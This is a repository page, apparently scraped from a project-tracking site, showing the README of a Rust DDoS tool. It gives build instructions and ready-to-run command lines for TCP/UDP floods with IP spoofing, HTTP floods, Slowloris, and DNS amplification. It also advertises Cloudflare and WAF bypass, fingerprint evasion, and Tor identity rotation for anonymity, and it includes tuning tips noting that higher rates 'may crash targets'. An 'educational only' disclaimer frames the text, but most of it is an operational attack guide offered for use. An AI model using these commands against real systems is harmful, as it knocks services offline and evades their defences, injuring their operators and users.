karthik558/ddos-attack
Tentang
Advanced Rust DDoS testing tool with Layer 4/7 attacks, Tor integration, evasion, and spoofing for security
Keamanan dan privasiYang dapat Anda lakukan
- Cloudflare Bypass: Automatic challenge solving and TLS fingerprint evasion
- WAF Evasion: Advanced payload encoding and header manipulation
- User-Agent Database: 1000+ real browser signatures with rotation
- Fingerprint Evasion: JA3/HTTP2 fingerprint randomization
Pertumbuhan bintang terukur
- dalam 24 jam
- 0
- dalam 7 hari
- -1
- dalam 15 hari
- -1
- dalam 1 bulan
- Mengumpulkan riwayat
Perubahan bersih pada periode yang tumpang tindih, bukan total harian. Pengukuran yang belum tersedia dibiarkan kosong. Bintang menunjukkan perhatian, bukan kualitas.
README.md
Asli
Advanced DDoS Attack Tool
WARNING - EDUCATIONAL PURPOSE ONLY: This tool is designed for authorized penetration testing and educational purposes. The author is not responsible for any misuse.
What is Advanced DDoS Attack Tool?
This is a high-performance DDoS testing tool written in Rust, featuring:
- Layer 4 Attacks: TCP/UDP flooding with IP spoofing
- Layer 7 Attacks: HTTP flooding and Slowloris attacks
- Tor Integration: Complete anonymity support
- Multi-threading: Lightning-fast concurrent operations
- Cross-platform: Works on Linux, macOS, and Windows
🚀 Advanced Evasion Features
- Cloudflare Bypass: Automatic challenge solving and TLS fingerprint evasion
- WAF Evasion: Advanced payload encoding and header manipulation
- User-Agent Database: 1000+ real browser signatures with rotation
- Fingerprint Evasion: JA3/HTTP2 fingerprint randomization
- Stealth Mode: Anti-detection with behavioral mimicry
- DNS Amplification: High-impact reflection attacks
- Proxy Integration: SOCKS5/HTTP proxy chain support
Requirements
System Requirements
- Operating System: Linux (recommended), macOS, or Windows
- RAM: Minimum 512MB, recommended 2GB+
- CPU: Multi-core processor recommended
- Network: High-bandwidth connection for effective testing
Software Dependencies
Rust (version 1.70+)
# Install Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh source ~/.cargo/envTor (optional, for anonymity features)
# Ubuntu/Debian sudo apt update && sudo apt install tor # macOS with Homebrew brew install tor # CentOS/RHEL sudo yum install torRoot privileges (required for IP spoofing features)
Installation
Method 1: Quick Install (Recommended)
# Clone the repository
git clone https://github.com/karthik558/ddos-attack.git
cd ddos-attack
# Make scripts executable
chmod +x build.sh install.sh
# Build the project
./build.sh
# Install system-wide (optional)
sudo ./install.sh
Method 2: Manual Build
# Clone and build manually
git clone https://github.com/karthik558/ddos-attack.git
cd ddos-attack
cargo build --release
# Binary will be at: ./target/release/ddos-attack
How to Use
Interactive Experience
The tool now automatically asks you about Tor usage and IP spoofing when you run attacks - no need for complex command-line flags!
Basic Usage Pattern
./target/release/ddos-attack [ATTACK_TYPE] [OPTIONS]
1. Layer 4 Attacks (TCP/UDP Flooding)
TCP Flood Attack
./target/release/ddos-attack layer4 \
--targets "192.168.1.100" \
--ports "80,443,8080" \
--protocol tcp \
--threads 50 \
--rate 1000 \
--size 1024
# The tool will ask:
# 🔒 Do you want to use Tor for anonymity? (y/N):
UDP Flood Attack
./target/release/ddos-attack layer4 \
--targets "192.168.1.100" \
--ports "53,123,161" \
--protocol udp \
--threads 100 \
--rate 2000 \
--size 512
# The tool will ask:
# 🔒 Do you want to use Tor for anonymity? (y/N):
# 🎭 Do you want to enable IP spoofing? (requires root) (y/N):
2. Layer 7 Attacks (HTTP/HTTPS)
HTTP Flood Attack
./target/release/ddos-attack layer7 \
--targets "https://example.com" \
--threads 50 \
--rate 100 \
--method GET \
--user-agent "Mozilla/5.0 Custom Agent"
# The tool will ask:
# 🔒 Do you want to use Tor for anonymity? (y/N):
Advanced HTTP Attack with Evasion
./target/release/ddos-attack layer7 \
--targets "https://example.com" \
--threads 100 \
--rate 200 \
--method GET \
--cloudflare-bypass \
--waf-evasion \
--random-useragent
# Includes:
# - Cloudflare challenge bypass
# - WAF evasion techniques
# - Random User-Agent rotation
DNS Amplification Attack
./target/release/ddos-attack dns-amp \
--target "192.168.1.100" \
--domain "google.com" \
--threads 20 \
--rate 500 \
--duration 300
# High-impact reflection attack
# Up to 70x amplification factor
Slowloris Attack
./target/release/ddos-attack layer7 \
--targets "https://example.com" \
--threads 300 \
--slowloris
# The tool will ask:
# 🔒 Do you want to use Tor for anonymity? (y/N):
3. Tor Management
# Start Tor service
./target/release/ddos-attack tor --start
# Renew Tor identity (change IP)
./target/release/ddos-attack tor --renew
# Stop Tor service
./target/release/ddos-attack tor --stop
Examples Folder Usage
The examples/ folder contains pre-configured attack scripts for common scenarios:
Available Example Scripts:
tcp_flood.sh- Basic TCP flooding attackhttp_flood_tor.sh- HTTP attack through Tor networkslowloris.sh- Slowloris connection exhaustion attackudp_spoof.sh- UDP flooding with IP spoofing (requires root)
How to Use Examples:
# Make examples executable
chmod +x examples/*.sh
# Run a specific example
./examples/tcp_flood.sh
# Or run with root for spoofing examples
sudo ./examples/udp_spoof.sh
Note: Edit the target IPs and parameters in the example scripts before running!
Command Options Explained
Layer 4 Options:
--targets: Target IP addresses (comma-separated)--ports: Target ports (comma-separated)--protocol: Attack protocol (tcporudp)--threads: Number of concurrent threads (default: 100)--size: Packet size in bytes (default: 1024)--rate: Packets per second (default: 1000)
Interactive prompts will ask about:
- Tor usage for anonymity
- IP spoofing (UDP only, requires root)
Layer 7 Options:
--targets: Target URLs (comma-separated)--threads: Number of concurrent threads (default: 50)--rate: Requests per second (default: 100)--method: HTTP method (GET,POST,PUT,DELETE)--user-agent: Custom User-Agent string--slowloris: Enable Slowloris attack mode
Interactive prompts will ask about:
- Tor usage for anonymity
Security Notes
For IP Spoofing:
- Requires root/administrator privileges
- May be blocked by ISP or network equipment
- Use responsibly and only on authorized networks
For Tor Usage:
- Automatically handles Tor daemon management
- Slower but provides anonymity
- Identity renewal changes exit nodes
Performance Tips
- Optimize Thread Count: Start with 50-100 threads, adjust based on system performance
- Rate Limiting: Higher rates = more aggressive attacks but may crash targets
- Multiple Targets: Distribute load across multiple targets for better results
- Monitor Resources: Watch CPU and memory usage during attacks
Troubleshooting
Common Issues:
"Permission denied" errors:
# For IP spoofing features, run with sudo
sudo ./target/release/ddos-attack layer4 --spoof
"Connection refused" on Tor:
# Make sure Tor is installed and started
./target/release/ddos-attack tor --start
# Wait 10-15 seconds for Tor to initialize
High CPU usage:
# Reduce thread count
./target/release/ddos-attack layer4 --threads 20
Compilation errors:
# Update Rust toolchain
rustup update
# Clean and rebuild
cargo clean && cargo build --release
Quick Start Guide
For Beginners:
- Install requirements (Rust + Tor)
- Clone and build the project
- Start with examples to learn
- Modify parameters for your needs
- Always test responsibly
Example Workflow:
# 1. Build the tool
./build.sh
# 2. Test basic TCP attack
./examples/tcp_flood.sh
# 3. Try anonymous HTTP attack
./examples/http_flood_tor.sh
# 4. Advanced: UDP spoofing
sudo ./examples/udp_spoof.sh
Legal & Ethical Use
Authorized Uses:
- Penetration testing with written permission
- Educational purposes and research
- Testing your own infrastructure
- Security awareness demonstrations
Prohibited Uses:
- Attacking systems without authorization
- Disrupting public services
- Any illegal activities
- Harming others' infrastructure
Contributing
- Fork the repository
- Create a feature branch
- Make your improvements
- Test thoroughly
- Submit a pull request
License
This project is licensed under the MIT License - see the LICENSE file for details.
Author
KARTHIK-LAL
- GitHub: @karthik558
WARNING: With great power comes great responsibility. Use this tool ethically and legally!
Jelajahi proyek terkait
Memuat…